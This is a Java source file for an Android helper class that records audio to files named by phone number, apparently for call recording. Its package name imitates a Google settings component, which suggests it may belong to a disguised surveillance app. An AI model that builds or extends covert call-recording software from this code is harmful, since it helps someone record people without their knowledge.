package com.android.googlesettings.record;

import java.io.File;
import java.io.IOException;

import android.media.MediaRecorder;

public class MediaRecordFunc {
	private boolean isRecord = false;
	private MediaRecorder mMediaRecorder;

	private MediaRecordFunc() {
	}

	private static MediaRecordFunc mInstance;

	public synchronized static MediaRecordFunc getInstance() {
		if (mInstance == null)
			mInstance = new MediaRecordFunc();
		return mInstance;
	}

	public int startRecordAndFile(String phoneNumber) { 
		if (AudioFileFunc.isSdcardExit()) {
			if (isRecord) {
				return ErrorCode.E_STATE_RECODING;
			} else {
				if (mMediaRecorder == null)
					createMediaRecord(phoneNumber);
				try {
					mMediaRecorder.prepare();
					mMediaRecorder.start();
					isRecord = true;
					return ErrorCode.SUCCESS;
				} catch (IOException ex) {
					ex.printStackTrace();
					return ErrorCode.E_UNKOWN;
				}
			}
		} else {
			return ErrorCode.E_NOSDCARD;
		}
	}

	public void stopRecordAndFile() {
		close();
	}

	public long getRecordFileSize(String phoneNumber) {
		return AudioFileFunc.getFileSize(AudioFileFunc.getAMRFilePath(phoneNumber));
	}

	private void createMediaRecord(String phoneNumber) {
		mMediaRecorder = new MediaRecorder();
		mMediaRecorder.setAudioSource(AudioFileFunc.AUDIO_INPUT);
		mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);
		mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);
		File file = new File(AudioFileFunc.getAMRFilePath(phoneNumber));
		if (file.exists()) {
			file.delete();
		}
		mMediaRecorder.setOutputFile(AudioFileFunc.getAMRFilePath(phoneNumber));
	}

	private void close() {
		if (mMediaRecorder != null) {
			System.out.println("stopRecord");
			isRecord = false;
			mMediaRecorder.stop();
			mMediaRecorder.release();
			mMediaRecorder = null;
		}
	}
}